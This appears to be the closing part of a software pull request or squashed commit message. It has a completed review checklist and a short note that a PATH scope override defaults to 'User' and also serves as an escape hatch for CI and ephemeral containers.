- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

The scope override defaults to `'User'`, so nothing changes for real
installs. It doubles as an escape hatch for any environment (CI images,
ephemeral containers) that must not touch the persistent user PATH.

---------

Co-authored-by: JD Davis <mxjerrett@gmail.com>
2026-08-16 15:05:04 -07:00